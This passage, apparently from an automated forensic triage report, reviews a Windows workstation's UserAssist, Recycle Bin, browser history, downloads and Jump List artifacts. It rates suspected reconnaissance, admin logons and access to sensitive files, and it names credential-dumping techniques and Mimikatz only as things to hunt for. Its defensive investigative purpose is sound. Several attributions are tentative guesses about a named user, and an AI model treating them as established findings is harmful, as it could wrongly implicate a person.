• No command-line or parent-process visibility: UserAssist records only that a program was launched from Explorer, not what arguments were passed to sdelete.exe, schtasks.exe, sc.exe, or cmd.exe. Process-creation Event IDs (4688) or Sysmon are required to determine intent.
• Extensive null timestamps hindering timeline analysis: 37 records (including the sdelete.exe, schtasks.exe, and both sc.exe entries) carry the null Windows timestamp 1601-01-01T00:00:00+00:00, preventing precise temporal correlation with other artifacts.
• ~6-year activity gap to present: The latest UserAssist entry is dated 2020-09-20T23:56:16.173000. Either the system has had no interactive use since then, the artifact was cleared, or the image is stale; without acquisition metadata, this gap cannot be distinguished from anti-forensics.
• Limited execution scope: UserAssist does not capture command-line, service, or scheduled-task execution. Attackers operating entirely via PowerShell, WMI, or remote services will be invisible in this artifact.
• Only three user profiles represented: Activity is limited to mhill, administrator.shieldbase, and Administrator. If the attacker operated under a different account, used temporary profiles, or cleaned registry hives, those actions are absent here.

Nothing suspicious detected in the Recycle Bin artifact; all 19 deleted items are user documents (images, PDFs, and a PowerPoint) belonging to account mhill, with no evidence of deleted executables, scripts, credential material, log files, or attacker tooling.

Data Gaps

• No malicious content observed. The artifact contains no deleted files matching high-fidelity indicators of compromise (e.g., .exe, .dll, .ps1, .zip, credential dumps, or event log files). A file named TargetList (0 bytes) was deleted (row_ref: 2, ts: 2018-07-31T03:15:30.203999+00:00), but it resides alongside pop-culture-themed GIFs in a VideoSurveillance\Research path, making its intent unassessable without content inspection.
• Actor attribution impossible. All deletions are attributed to user mhill, but this artifact cannot distinguish between an interactive user, a compromised account, or an attacker impersonating the profile. Correlating Security Event Log logon events (Event IDs 4624/4625/4648), Sysmon process creation, and UserAssist/ShellBag activity is required.
• Bulk-deletion mechanism unknown. Tight temporal clusters exist (e.g., three deletions at exactly 2018-08-02T21:29:46 within 31 milliseconds; row_ref: 1, 3, 7), but this artifact cannot reveal whether the action was a manual multi-select in Explorer, a command-line removal (del, rmdir), or a malicious wipe utility. USN Journal or $LogFile review would clarify the deletion mechanism.
• File contents unavailable. The original contents of CONFIDENTIAL - Project Mayhem.pptx (row_ref: 4) and Determination of Carbon-14 In Activated Metal Wastes.pdf (row_ref: 9) cannot be assessed from metadata alone; recovery and review of the $R-prefixed Recycle Bin files would be needed to determine sensitivity or exfiltration value.
• Missing defensive telemetry. No Windows Defender detections, AMSI events, or EDR alerts are present in this artifact to correlate deletion timestamps with potential preceding malicious execution.

Merged batch 1

Findings

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Repeated execution of heavily obfuscated JavaScript payloads consistent with malicious browser exploitation or trojan webinjections.
• Evidence: Row 1212 (2018-07-04T17:51:30.062668+00:00), row 1238 (2018-07-04T17:58:47.995382+00:00), row 1243 (2018-07-04T18:28:08.079330+00:00), row 1271 (2018-08-01T21:02:18.402428+00:00), row 1331 (2018-08-01T17:04:59.640631+00:00), row 1372 (2018-05-25T17:54:01.071512+00:00), and row 1397 (2018-07-04T17:52:56.514606+00:00). Each entry is a javascript: URL containing randomized function names, Object.getOwnPropertyNames, and apply.bind wrapping of native methods.
• Why it matters: This structural pattern is characteristic of browser exploit kit payloads, banking trojan webinjects, or framework hooks (e.g., BEEF) that hijack native execution to evade detection and maintain persistence.
• Alternative explanation: Aggressively obfuscated third-party advertising or tracking scripts; however, the structural consistency across multiple unique function names and dates strongly suggests malicious tooling rather than benign ads.
• Verify: Inspect browser cache/Temporary Internet Files for these timestamps, fully deobfuscate the scripts, and correlate network logs for suspicious outbound callbacks from the browser process during these sessions.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Sustained reconnaissance-oriented browsing including OSINT tools, repositories, and training resources.
• Evidence: Row 1218 (2018-07-05T17:33:09.551584+00:00, https://www.timothydeblock.com/blog/2018/3/28/sans-sec487-open-source-intelligence-gathering-and-analysis), row 1395 (2018-07-05T17:33:10.692301+00:00, https://webbreacher.com/2018/06/24/introducing-osint-yoga/), row 1396 (2018-07-05T17:32:43.751675+00:00, https://webbreacher.com/), row 1782 (2018-07-05T17:34:01.103140+00:00, https://webbreacher.com/), row 1787 (2018-07-05T17:37:41.004871+00:00, http://spiderfoot.net/), row 1788 (2018-07-05T17:37:47.900543+00:00, http://hunch.ly/), row 2026 (2018-07-19T00:45:10.232775+00:00, https://github.com/jivoi/awesome-osint), row 2231 (2018-08-01T22:49:23.165640+00:00, https://www.sans.org/course/open-source-intelligence-gathering), and row 2350 (2018-08-08T14:19:45.397367+00:00, http://spiderfoot.net/documentation/); aggregate statistics also indicate three referrer visits to spiderfoot.net.
• Why it matters: A sustained pattern of researching and accessing open-source intelligence platforms may reflect pre-intrusion reconnaissance, unauthorized target research, or an actor building a toolkit.
• Alternative explanation: The user’s role (themed environment suggests an intelligence/analyst function) may legitimately require OSINT resources.
• Verify: Cross-check the user’s authorized job scope and correlate these visit windows with any corresponding process execution or tool installation artifacts.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Use of encrypted third-party email service (ProtonMail) outside corporate mail channels with a secondary identity.
• Evidence: Row 1530 (2018-08-17T23:02:18.111000+00:00, https://protonmail.com/), row 1531 (2018-08-17T23:02:22.034000+00:00, https://mail.protonmail.com/login), row 1533 (2018-08-17T23:02:51.942000+00:00, title: Inbox | mhill2@protonmail.com | ProtonMail), row 1555 (2018-08-21T06:24:27.837000+00:00, Login - ProtonMail), row 1557 (2018-08-27T23:30:55.992000+00:00, https://mail.protonmail.com/login/unlock), row 1559 (2018-08-27T23:31:04.375000+00:00, https://mail.protonmail.com/sent, title: Sent | mhill2@protonmail.com | ProtonMail), and row 1560 (2018-08-27T23:31:48.412000+00:00, https://mail.protonmail.com/inbox); aggregate statistics indicate 16 total visits to mail.protonmail.com.
• Why it matters: Encrypted email can be used for covert C2 coordination or small-scale exfiltration that evades corporate mail inspection.
• Alternative explanation: Personal privacy preference or secondary account for non-work communication.
• Verify: Inspect network logs for ProtonMail attachment uploads/downloads and correlate with any anomalous data-transfer volumes; cross-reference with proxy/DLP logs for uploads or attachments sent to ProtonMail.

• **[SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] User mhill performed a Google search for résumés related to “material science espionage” and downloaded multiple academic and military curriculum vitae.**
• Evidence: Search at 2018-08-28T21:20:39.480692 (row 2808: query resume cv filetype:pdf material science espionage); followed by CV downloads at 2018-08-28T21:21:17.928408 (row 2809: https://www.usna.edu/CyberDept/People/CVs/Hatfield.pdf), 2018-08-28T21:21:21.789850 (row 2810: patrickhunt.us/PHunt_CV_2018.pdf), 2018-08-28T21:21:26.567766 (row 2811: Arizona State University CV), 2018-08-28T21:21:30.657612 (row 2812: University of Idaho CV), 2018-08-28T21:21:33.380308 (row 2813: Texas Tech CV), and 2018-08-29T17:08:21.597307 (row 2825: Brown University CV). A related search for resume cv filetype:pdf material science carbon also appears at row 2814 (2018-08-28T21:21:35.814367).
• Why it matters: The query syntax and subsequent downloads may indicate targeting or reconnaissance against personnel with materials science and cyber backgrounds, which could support social engineering, insider threat, or espionage objectives.
• Alternative explanation: The user may have been conducting competitive intelligence, academic research, or themed project work within the research lab environment.
• Verify: Inspect the local Downloads folder for these PDFs; interview user mhill regarding business need; cross-check whether the targeted individuals or institutions have any relationship with the organization.

• **[SEVERITY: LOW] [CONFIDENCE: MEDIUM] Browser history attributed to the built-in Administrator account.**
• Evidence: Summary statistics show 8x Administrator username; specific rows, URLs, and timestamps are not present in the provided CSV extract.
• Why it matters: Browser activity under the Administrator account on a workstation is atypical for standard users and may indicate privileged access by an attacker or lateral movement via administrative credentials.
• Alternative explanation: Legitimate IT administrative activity.
• Verify: Retrieve the exact browser history records for the Administrator profile and correlate with Security Event Log interactive logon events (Event ID 4624).

• [SEVERITY: LOW] [CONFIDENCE: LOW] Visits to Russian social media and facial recognition services.
• Evidence: Row 2027 (2018-07-19T00:46:44.359467+00:00, http://vk.com/app3046467); row 2029 (2018-07-19T00:46:50.091967+00:00, http://findface.ru/).
• Why it matters: Foreign platform usage may indicate external contact, data enrichment on targets, or geographic targeting anomalies.
• Alternative explanation: Personal browsing or research into foreign social networks.
• Verify: Check for saved credentials, session cookies, or follow-on network connections to these domains.

Data Gaps

• Severely truncated temporal coverage: The provided CSV subsets cover only discrete slices (primarily mid-2018) of the full artifact range (2018–2021-02-01), leaving the majority of the timeline—including all late-2018 through 2021 activity—unassessable. Additionally, no history exists for the ~5 years between the last record (2021-02-01) and the current analysis date (2026-06-13).
• Missing browser and account datasets: Chrome (790 records) and Firefox (240 records) are essentially absent from the provided CSV, as are the 1,376 deduplicated Internet Explorer records and eight Administrator account history records summarized in aggregate statistics, preventing assessment of privileged or alternate-browser activity.
• Aggregate-only indicators: Sixteen visits to mail.protonmail.com and three referrer visits to spiderfoot.net appear only in summary statistics; the underlying row-level timestamps and URLs were not included in the provided CSV extracts, so their full context cannot be evaluated.
• Missing correlation artifacts: Browser history alone lacks download paths, file names, MIME types, hashes, cache contents, cookies, DNS queries, or proxy/network flow data, so drive-by downloads, payload execution, exfiltration, or C2 callbacks cannot be confirmed or ruled out.
• Deduplication and hidden record blind spots: Deduplication removed 465 timestamp/ID-only duplicates, and 124 records are marked hidden; this may obscure rapid successive visits to malicious resources or repetitive patterns.
• Incomplete fields and private browsing gaps: Many rows lack visit_type, typed, hidden, and title values, and history does not capture InPrivate/Incognito sessions or artifacts cleared by a user or attacker.

Findings

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] OSINT reconnaissance tool SpiderFoot downloaded.
• Evidence: row 50, ts_start 2018-08-08T14:20:05.660023+00:00, path C:\Users\mhill\Downloads\spiderfoot-2.12.0-src.tar.gz, url http://spiderfoot.net/files/spiderfoot-2.12.0-src.tar.gz.
• Why it matters: SpiderFoot is an open-source intelligence automation platform used for reconnaissance; its presence on a workstation during a suspected network compromise may indicate unauthorized intelligence gathering or pre-exfiltration activity.
• Alternative explanation: The user may have downloaded it for legitimate security research, penetration testing, or network administration.
• Verify: Examine Prefetch, Amcache, and process execution logs for evidence that the archive was extracted or that sf.py / spiderfoot.exe was executed.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Confidential internal project document retrieved from internal SharePoint.
• Evidence: row 47, ts_start 2018-08-02T20:34:04.558643+00:00, path C:\Users\mhill\Downloads\CONFIDENTIAL - Project Mayhem.pptx, url http://projects.srl-sharepoint.com/Project%20Mayhem/CONFIDENTIAL%20-%20Project%20Mayhem.pptx.
• Why it matters: An explicitly labeled confidential file was downloaded from an internal project site to a local workstation, which could represent data staging or unauthorized collection during an intrusion.
• Alternative explanation: The user may be an authorized Project Mayhem participant who downloaded the file for legitimate work.
• Verify: Cross-reference SharePoint access/audit logs and document rights management to confirm authorization, and check for subsequent file movement, compression, or exfiltration.

IOC Status

No explicit IOCs were provided in the investigation context.

Data Gaps

• Execution artifacts (Prefetch, Amcache, Sysmon) are absent, so we cannot determine whether SpiderFoot, 7-Zip, or any downloaded file was extracted or executed.
• Browser history is not included, preventing assessment of whether downloads were user-initiated or triggered by phishing/malicious pages.
• Network artifacts (DNS, proxy, firewall, NetFlow) are unavailable, so we cannot identify command-and-control callbacks or data exfiltration associated with these downloads.
• Authorization context for Project Mayhem and the tdungan SharePoint personal site (rows 32–34) is unknown; access may be legitimate collaboration.
• Only the mhill profile is represented; compromise of other accounts or use of alternate browsers/profiles would not be visible here.
• The artifact window is limited to 2018-07-02 through 2018-08-29; any downloads outside this range or cleared browser data are invisible.

Findings

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Domain administrator account administrator.shieldbase had an interactive session on this workstation.
• Evidence: Rows 251–256, username administrator.shieldbase, lnk_atime 2018-05-07T21:48:32.975895+00:00, lnk_path C:\Users\administrator.shieldbase\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms, targeting standard profile folders (Documents, Desktop, Pictures, Downloads, Videos, Music).
• Why it matters: Interactive domain admin logon to a workstation exposes privileged credentials to LSASS/token theft if the host is compromised, providing a direct path to domain-wide lateral movement.
• Alternative explanation: Legitimate administrative setup or maintenance activity.
• Verify: Check Windows Security event logs for Event ID 4624/4648 logon type 2 or 10 for administrator.shieldbase on this host around 2018-05-07; hunt for credential dumping artifacts (e.g., LSASS access, Kerberoasting).

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] OSINT/reconnaissance tool spiderfoot-2.12.0-src.tar.gz discovered in user Downloads and opened by Notepad.
• Evidence: Row 127 (C:\Users\mhill\Downloads\spiderfoot-2.12.0-src.tar.gz referenced in Quick Access), row 155 (Notepad 64-bit opening the same archive, lnk_mtime 2020-02-16T16:08:20.107853+00:00).
• Why it matters: SpiderFoot is an open-source intelligence and network reconnaissance framework; its presence on a corporate workstation during a suspected compromise may indicate attacker reconnaissance or unauthorized data-gathering activity.
• Alternative explanation: User downloaded it for legitimate competitive intelligence work (corroborated by access to Competitive_Intel_Metals_Cybernetics.docx, rows 128/249).
• Verify: Inspect browser/download history for the source URL, check if the archive was extracted or executed, and correlate with outbound connection logs or Proxy/Firewall data for SpiderFoot scanning behavior.

• [SEVERITY: MEDIUM] [CONFIDENCE: HIGH] Local Administrator account used interactively on the workstation.
• Evidence: Rows 1–6, username Administrator, lnk_atime 2018-05-09T02:55:04.210335+00:00, accessing profile folders (Downloads, Desktop, Pictures, Documents, Videos, Music).
• Why it matters: Interactive local admin usage can indicate privilege escalation, troubleshooting, or attacker activity; it expands the credential exposure surface if the host is compromised.
• Alternative explanation: Initial system setup or IT maintenance.
• Verify: Cross-reference with Windows Security logs for logon type 2 at this timestamp and review process execution artifacts for concurrent privileged activity.

• [SEVERITY: LOW] [CONFIDENCE: MEDIUM] User accessed sensitive operational and financial data on network shares, including undercover agent rosters, credit card numbers, backstopped accounts, and wire transfer details.
• Evidence: Rows 84/121/186/191 (Management\Undercover Agents\Undercover-Agents-List-For-United-Kingdom.xls and ...United-States.xlsx), rows 118/189 (R&D\Credit-Card-Numbers-For-Research.xls), rows 119/190 (R&D\CC-Backstopped-Accounts.xlsx), rows 98/245 (R&D\Starkjökull\project logistics\Project_800724_WireTransferInfo.docx), rows 47/241 (MH_Eyes_Only\SRL_BoardMeetingNotes_Q2_2018.docx).
• Why it matters: In a suspected network compromise, these are high-value intelligence targets; bulk or anomalous access may indicate data staging or exfiltration.
• Alternative explanation: User mhill may hold a legitimate role requiring access to these documents.
• Verify: Validate the user's role and need-to-know; correlate with file server (BASE-FILE) SMB audit logs and DLP/exfiltration alerts for anomalous copy or transfer activity.

Data Gaps

• No direct execution evidence: Jump Lists track file/application access via Explorer and common apps, not command-line execution or process creation. This artifact cannot confirm or deny execution of privilege escalation tools (e.g., Mimikatz), scripted attacks, or living-off-the-land binaries.
• Absence of attacker staging locations: No entries reference %TEMP%, %APPDATA%\Local, ProgramData, or suspicious binary paths, meaning malware payload staging or execution from typical attacker directories is not visible here.
• Limited recent activity: The vast majority of target file interactions cluster in mid-2018; only sparse 2020 activity (e.g., rows 154/157, 2020-02-16) is present. It is unclear whether user activity genuinely stopped or if Jump Lists were cleared, rebuilt, or rotated.
• Cannot confirm exfiltration: While sensitive network share paths were accessed (via mapped S: and \\BASE-FILE\shieldbase-share), this artifact cannot determine whether files were copied, archived, or exfiltrated. SMB share audit logs, DLP telemetry, and network flow data are required.
• No lateral movement tools visible: No Jump List entries reference Remote Desktop clients, VPN software, PsExec, or file-sync utilities that would indicate lateral movement or exfiltration channels.
• Container timestamp artifact: The clustered lnk_mtime of 2020-09-21T00:59:54 across 109 entries (Quick Access) likely reflects Jump List container file refresh or OS maintenance rather than individual user access events, complicating timeline interpretation.